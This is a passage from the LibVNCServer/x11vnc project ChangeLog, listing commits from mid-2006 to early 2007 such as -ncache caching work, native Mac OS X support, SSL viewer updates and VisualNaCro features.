LibVNCClient: some users do not want to get 4556 whole-screen updates; introduce client->updateRect for that 4557 4558 2007-02-01 dscho <dscho> 4559 4560 * libvncclient/zrle.c: sometimes zrle sends too many bytes; play 4561 safe 4562 4563 2007-01-31 runge <runge> 4564 4565 * x11vnc/README, x11vnc/keyboard.c, x11vnc/pointer.c, 4566 x11vnc/screen.c, x11vnc/solid.c, x11vnc/userinput.c, 4567 x11vnc/xdamage.c, x11vnc/xevents.c: fix warnings. 4568 4569 2007-01-31 runge <runge> 4570 4571 * ChangeLog: libvncclient changes. 4572 4573 2007-01-31 runge <runge> 4574 4575 * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, 4576 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, 4577 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, 4578 x11vnc/macosxCG.c, x11vnc/macosxCGS.c, 4579 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne 4580 wfbsize.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, 4581 x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 4582 x11vnc/screen.h, x11vnc/solid.c, x11vnc/solid.h, x11vnc/ssltools.h, 4583 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, 4584 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c, 4585 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 4586 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, 4587 x11vnc/xevents.c: x11vnc: -reflect, -N. -ncache, FINDDISPLAY, 4588 FINDCREATEDISPLAY, improvements. MODTWEAK_LOWEST workaround. 4589 4590 2007-01-31 runge <runge> 4591 4592 * Makefile.am, libvncclient/cursor.c, libvncclient/rfbproto.c, 4593 libvncclient/vncviewer.c, prepare_x11vnc_dist.sh, rfb/rfbclient.h: 4594 libvncclient: add GotCursorShape() and GotCopyRect(); x11vnc dep on 4595 libvncclient 4596 4597 2007-01-25 dscho <dscho> 4598 4599 * libvncserver/rfbserver.c: compile fix for MinGW 4600 4601 2007-01-25 dscho <dscho> 4602 4603 * VisualNaCro/Makefile.am: complain when SWIG is not present, but 4604 needed 4605 4606 2007-01-25 dscho <dscho> 4607 4608 * VisualNaCro/configure.ac: Complain if libvncserver-config was not 4609 found in PATH 4610 4611 2007-01-10 runge <runge> 4612 4613 * x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, 4614 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/tkx11vnc, 4615 x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/userinput.h, 4616 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 4617 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c, 4618 x11vnc/xinerama.c, x11vnc/xrandr.h: some -ncache performance 4619 improvements, rootpixmap watching, gnome wm heuristics 4620 4621 2007-01-09 runge <runge> 4622 4623 * x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1, 4624 x11vnc/x11vnc_defs.c: Fix old compiler error; fix warnings. 4625 4626 2007-01-09 runge <runge> 4627 4628 * x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, 4629 x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/solid.h, 4630 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4631 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: more speed and accuracy 4632 improvements to -ncache mode. 4633 4634 2007-01-07 runge <runge> 4635 4636 * x11vnc/README, x11vnc/options.c, x11vnc/userinput.c, 4637 x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h, 4638 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: changes to ncache cache 4639 aging and xdamage skipping 4640 4641 2007-01-04 runge <runge> 4642 4643 * x11vnc/ChangeLog, x11vnc/README, x11vnc/userinput.c, 4644 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 4645 x11vnc/xdamage.c: x11vnc: more -ncache improvements. 4646 4647 2007-01-02 runge <runge> 4648 4649 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 4650 x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, 4651 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 4652 x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1, 4653 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 4654 x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: more -ncache 4655 improvements. 4656 4657 2006-12-29 runge <runge> 4658 4659 * x11vnc/8to24.c, x11vnc/README, x11vnc/cursor.c, x11vnc/options.c, 4660 x11vnc/options.h, x11vnc/pointer.c, x11vnc/screen.c, 4661 x11vnc/selection.c, x11vnc/userinput.c, x11vnc/util.c, 4662 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4663 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc 4664 -ncache on by default for beta test. fix -nofb & -rawfb modes. 4665 4666 2006-12-28 runge <runge> 4667 4668 * x11vnc/README, x11vnc/userinput.c, x11vnc/win_utils.c: a couple 4669 more warnings... 4670 4671 2006-12-28 runge <runge> 4672 4673 * x11vnc/8to24.c, x11vnc/README, x11vnc/connections.c, 4674 x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/macosx.c, 4675 x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCGS.c, 4676 x11vnc/misc/enhanced_tightvnc_viewer/README, 4677 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 4678 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4679 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4680 x11vnc/nox11_funcs.h, x11vnc/pointer.c, x11vnc/remote.c, 4681 x11vnc/scan.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c, 4682 x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c, 4683 x11vnc/xevents.c, x11vnc/xrandr.c, x11vnc/xrecord.c, 4684 x11vnc/xwrappers.c: still more compiler warnings; ssvnc 1.0.9 sync. 4685 4686 2006-12-28 runge <runge> 4687 4688 * x11vnc/8to24.c, x11vnc/README, x11vnc/cleanup.c, 4689 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/macosx.c, 4690 x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h, 4691 x11vnc/macosxCGP.c, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, 4692 x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c, 4693 x11vnc/uinput.c, x11vnc/userinput.c, x11vnc/v4l.c, 4694 x11vnc/win_utils.c, x11vnc/xevents.c, x11vnc/xwrappers.c: more 4695 compiler warnings cleanup. 4696 4697 2006-12-28 runge <runge> 4698 4699 * x11vnc/8to24.c, x11vnc/README, x11vnc/connections.c, 4700 x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/macosx.c, 4701 x11vnc/macosxCG.c, x11vnc/pointer.c, x11vnc/scan.c, 4702 x11vnc/screen.c, x11vnc/solid.c, x11vnc/user.c, x11vnc/userinput.c, 4703 x11vnc/userinput.h, x11vnc/win_utils.c, x11vnc/xwrappers.c, 4704 x11vnc/xwrappers.h: x11vnc: clean up compiler warnings. 4705 4706 2006-12-28 runge <runge> 4707 4708 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 4709 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h, 4710 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h, 4711 x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, x11vnc/options.c, 4712 x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, 4713 x11vnc/scan.h, x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 4714 x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/winattr_t.h, 4715 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 4716 x11vnc/xevents.c, x11vnc/xrecord.c, x11vnc/xwrappers.c, 4717 x11vnc/xwrappers.h: x11vnc: more work on -ncache. 4718 4719 2006-12-17 runge <runge> 4720 4721 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 4722 x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 4723 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/userinput.c, 4724 x11vnc/userinput.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1, 4725 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 4726 x11vnc/xevents.c, x11vnc/xinerama.c: x11vnc: first pass at 4727 client-side caching, -ncache option. 4728 4729 2006-12-17 runge <runge> 4730 4731 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 4732 x11vnc/options.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4733 x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: x11vnc: make -xwarppointer 4734 the default if xinerama is active. 4735 4736 2006-12-16 runge <runge> 4737 4738 * rfb/rfbproto.h: Move our rfbEncodings numbers out of the TightVNC 4739 range. 4740 4741 2006-12-15 runge <runge> 4742 4743 * libvncserver/auth.c: fix typo. 4744 4745 2006-12-13 runge <runge> 4746 4747 * ChangeLog: Remove stray "-permitfiletransfer permit file transfer 4748 support" output 4749 4750 2006-12-13 runge <runge> 4751 4752 * libvncserver/cargs.c: Remove stray ""-permitfiletransfer permit 4753 file transfer support" output. 4754 4755 2006-12-11 runge <runge> 4756 4757 * x11vnc/README, x11vnc/macosxCG.c, x11vnc/macosxCGS.c, 4758 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: cleanup some 4759 comments. 4760 4761 2006-12-10 runge <runge> 4762 4763 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4764 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd: sync etv 1.0.8 4765 4766 2006-12-10 runge <runge> 4767 4768 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 4769 x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 4770 x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/gui.c, 4771 x11vnc/help.c, x11vnc/misc/Makefile.am, x11vnc/pointer.c, 4772 x11vnc/screen.c, x11vnc/screen.h, x11vnc/solid.c, 4773 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/v4l.c, 4774 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 4775 x11vnc/x11vnc_defs.c: x11vnc: FINDCREATEDISPLAY support to create X 4776 session if one cannot be found. Fix bug in java viewer. 4777 4778 2006-11-24 runge <runge> 4779 4780 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 4781 x11vnc/help.c, x11vnc/remote.c, x11vnc/user.c, x11vnc/x11vnc.1, 4782 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: install ss_vncviewer 755, 4783 -prog option, HTTPONCE new socket for -inetd. 4784 4785 2006-11-23 runge <runge> 4786 4787 * classes/ssl/Makefile.am, classes/ssl/README: rename to 4788 ss_vncviewer 4789 4790 2006-11-23 runge <runge> 4791 4792 * classes/ssl/ss_vncviewer, classes/ssl/ssl_vncviewer: rename 4793 ssl_vncviewer to ss_vncviewer 4794 4795 2006-11-23 runge <runge> 4796 4797 * classes/ssl/ss_vncviewer: rename ssl_vncviewer to ss_vncviewer 4798 4799 2006-11-22 runge <runge> 4800 4801 * configure.ac: use AC_CHECK_LIB for fbpm and dpms 4802 4803 2006-11-21 runge <runge> 4804 4805 * configure.ac: enable --without-fbpm and --without-dpms 4806 4807 2006-11-21 runge <runge> 4808 4809 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 4810 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, 4811 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h, 4812 x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, 4813 x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, 4814 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/unixpw.c, 4815 x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/win_utils.h, 4816 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 4817 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c, 4818 x11vnc/xwrappers.c: x11vnc: Mac OS X fb fixes and cuttext, -nodpms 4819 option, local user wireframing 4820 4821 2006-11-21 runge <runge> 4822 4823 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4824 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, 4825 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 4826 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 4827 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 4828 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4829 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 4830 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 4831 x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt, 4832 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4833 x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README: update to 4834 1.0.8 and renaming 4835 4836 2006-11-21 runge <runge> 4837 4838 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer, 4839 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui, 4840 x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer, 4841 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 4842 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer: 4843 delete 4844 4845 2006-11-21 runge <runge> 4846 4847 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 4848 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 4849 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 4850 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl: rename 4851 4852 2006-11-13 runge <runge> 4853 4854 * ChangeLog, configure.ac, prepare_x11vnc_dist.sh, x11vnc/8to24.c, 4855 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, 4856 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, 4857 x11vnc/cursor.h, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c, 4858 x11vnc/linuxfb.c, x11vnc/macosx.c, x11vnc/macosx.h, 4859 x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c, 4860 x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, 4861 x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, 4862 x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 4863 x11vnc/selection.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 4864 x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, 4865 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 4866 x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c, 4867 x11vnc/xinerama.c, x11vnc/xrandr.c, x11vnc/xrecord.c, 4868 x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: Native Mac OS X 4869 support. 4870 4871 2006-11-08 runge <runge> 4872 4873 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4874 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp 4875 over, 4876 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc 4877 viewer.sh, 4878 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover, 4879 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer, 4880 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui, 4881 x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer, 4882 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 4883 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer, 4884 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 4885 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: Add Darwin 4886 stuff. Sync to current 1.0.7 4887 4888 2006-11-08 runge <runge> 4889 4890 * ChangeLog, classes/ssl/ssl_vncviewer, configure.ac, 4891 prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 4892 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: configure.ac -R and macosx, 4893 prepare_x11vnc_dist.sh rpm fix 4894 4895 2006-10-30 runge <runge> 4896 4897 * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, 4898 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Add tip about how to 4899 reenable RECORD extension. 4900 4901 2006-10-12 dscho <dscho> 4902 4903 * VisualNaCro/nacro.c, VisualNaCro/nacro.h: VisualNaCro: add 4904 sendascii 4905 4906 2006-10-12 runge <runge> 4907 4908 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, 4909 x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, 4910 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 4911 x11vnc/x11vnc_defs.c: x11vnc: -cursor_drag for DnD, etc. 4912 4913 2006-10-11 runge <runge> 4914 4915 * libvncserver/tightvnc-filetransfer/rfbtightserver.c: N_ENC_CAPS 4916 check does not work if libz is not present. 4917 4918 2006-10-10 dscho <dscho> 4919 4920 * VisualNaCro/ChangeLog, VisualNaCro/recorder.pl: VisualNaCro: add 4921 'i', 'c' and 'r' menu keys 4922 4923 2006-10-10 dscho <dscho> 4924 4925 * VisualNaCro/ChangeLog, VisualNaCro/recorder.pl: VisualNaCro: add 4926 --compact and --compact-dragging 4927 4928 2006-10-07 runge <runge> 4929 4930 * classes/ssl/ssl_vncviewer, x11vnc/README, 4931 x11vnc/misc/enhanced_tightvnc_viewer/README, 4932 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 4933 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca 4934 tion.url, 4935 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 4936 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer, 4937 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 4938 x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README, 4939 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Changes for ETV, double 4940 SSL/SSH. 4941 4942 2006-09-24 runge <runge> 4943 4944 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 4945 x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 4946 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/pointer.c, 4947 x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, 4948 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: improve SSL Java 4949 viewer, cleanup -unixpw code. 4950 4951 2006-09-21 runge <runge> 4952 4953 * 4954 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 4955 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer: sync 4956 etv. profile cleanup 4957 4958 2006-09-21 runge <runge> 4959 4960 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 4961 x11vnc/connections.h, x11vnc/help.c, x11vnc/options.c, 4962 x11vnc/options.h, x11vnc/sslhelper.c, x11vnc/unixpw.c, 4963 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/x11vnc.1, 4964 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: 4965 -unixpw_cmd, -passwfile cmd:/custom:, -sslnofail, -ultrafilexfer 4966 4967 2006-09-18 runge <runge> 4968 4969 * x11vnc/misc/enhanced_tightvnc_viewer/README, 4970 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 4971 l: ETV release 1.0.4 4972 4973 2006-09-18 runge <runge> 4974 4975 * 4976 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 4977 l, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: sync 4978 ETV 1.0.4 4979 4980 2006-09-18 runge <runge> 4981 4982 * libvncserver/rfbserver.c, x11vnc/README, x11vnc/x11vnc.c: x11vnc: 4983 improve ultravnc filexfer rate by calling rfbCheckFD more often 4984 4985 2006-09-17 runge <runge> 4986 4987 * 4988 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 4989 l: Sync ETV. 4990 4991 2006-09-17 runge <runge> 4992 4993 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 4994 x11vnc/cursor.c, x11vnc/help.c, x11vnc/keyboard.c, 4995 x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/scan.c, 4996 x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, 4997 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 4998 x11vnc/xinerama.c, x11vnc/xwrappers.c: x11vnc: -verbose, 4999 -connect_or_exit, -rfbport 0, print out SSL cert. 5000 5001 2006-09-15 runge <runge> 5002 5003 * x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c: 5004 small tweaks, -sig alias. 5005 5006 2006-09-15 runge <runge> 5007 5008 * libvncserver/rfbserver.c, x11vnc/ChangeLog, x11vnc/README, 5009 x11vnc/cleanup.c, x11vnc/help.c, x11vnc/screen.c, x11vnc/unixpw.c, 5010 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: clear DISPLAY for 5011 -unixpw su_verify, user supplied sig ignore. 5012 5013 2006-09-14 runge <runge> 5014 5015 * classes/ssl/ssl_vncviewer, x11vnc/ChangeLog, x11vnc/README, 5016 x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/COPYING, 5017 x11vnc/misc/enhanced_tightvnc_viewer/README, 5018 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, 5019 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl 5020 oad.url, 5021 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down 5022 load.url, 5023 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca 5024 tion.url, 5025 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo 5026 ad.url, 5027 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc 5028 e.url, 5029 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down 5030 load.url, 5031 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca 5032 tion.url, 5033 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do 5034 wnload.url, 5035 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo 5036 cation.url, 5037 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co 5038 nf, 5039 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co 5040 nf, 5041 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url, 5042 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer, 5043 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui, 5044 x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer, 5045 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc 5046 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer, 5047 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf, 5048 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 5049 x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt, 5050 x11vnc/misc/enhanced_tightvnc_viewer/src/README, 5051 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README, 5052 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 5053 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, 5054 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied, 5055 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa 5056 tch, 5057 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 5058 llscreen.patch, 5059 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne 5060 wfbsize.patch, 5061 x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README, 5062 x11vnc/remote.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5063 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: 5064 enhanced_tightvnc_viewer files, ssh -t keystroke response 5065 improvement. 5066 5067 2006-09-12 dscho <dscho> 5068 5069 * VisualNaCro/Makefile.am, libvncserver-config.in: fix in-place 5070 compilation of VisualNaCro 5071 5072 2006-09-12 dscho <dscho> 5073 5074 * VisualNaCro/recorder.pl: fix call to alert() 5075 5076 2006-09-12 dscho <dscho> 5077 5078 * VisualNaCro/NEWS, VisualNaCro/nacro.c, VisualNaCro/nacro.h, 5079 VisualNaCro/recorder.pl: VisualNaCro: add magic key 'd' to display 5080 the current reference image 5081 5082 2006-09-12 dscho <dscho> 5083 5084 * VisualNaCro/nacro.h: forgot to check in nacro.h 5085 5086 2006-09-12 dscho <dscho> 5087 5088 * VisualNaCro/nacro.c, VisualNaCro/recorder.pl: implement rubberband 5089 for rectangular selection 5090 5091 2006-09-12 dscho <dscho> 5092 5093 * VisualNaCro/Makefile.am, VisualNaCro/configure.ac: fix compilation 5094 with cygwin 5095 5096 2006-09-12 dscho <dscho> 5097 5098 * rfb/rfbproto.h, vncterm/LinuxVNC.c, vncterm/VNConsole.c: do not 5099 always include rfb/keysym.h 5100 5101 2006-09-12 dscho <dscho> 5102 5103 * AUTHORS, VisualNaCro/NEWS, VisualNaCro/nacro.c, 5104 VisualNaCro/nacro.h, VisualNaCro/recorder.pl: VisualNaCro: support 5105 clipboard and symbolic key names with X11::Keysyms 5106 5107 2006-09-12 dscho <dscho> 5108 5109 * VisualNaCro/nacro.c, VisualNaCro/nacro.h: support clipboard 5110 5111 2006-09-11 dscho <dscho> 5112 5113 * libvncclient/rfbproto.c, rfb/rfbclient.h: make cut text handling 5114 using a hook 5115 5116 2006-09-10 runge <runge> 5117 5118 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, 5119 x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/x11vnc.1, 5120 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: REQ_ARGS, 5121 EV_SYN/SYN_REPORT check. restore -cursor most under -display WAIT 5122 5123 2006-09-05 runge <runge> 5124 5125 * classes/ssl/proxy.vnc, classes/ssl/ssl_vncviewer: Update 5126 ssl_vncviewer. Fix bug in proxy.vnc with multiple PORT= params. 5127 5128 2006-08-10 runge <runge> 5129 5130 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/linuxfb.c, 5131 x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5132 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: first pass at 5133 touchscreens via uinput. 5134 5135 2006-08-02 runge <runge> 5136 5137 * x11vnc/ChangeLog: add to changelog 5138 5139 2006-08-02 runge <runge> 5140 5141 * classes/ssl/ssl_vncviewer, x11vnc/README, x11vnc/help.c, 5142 x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, 5143 x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5144 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 5145 tweaks to ssl_xfer; -ssltimeout option. 5146 5147 2006-07-31 runge <runge> 5148 5149 * classes/ssl/ssl_vncviewer, x11vnc/README, 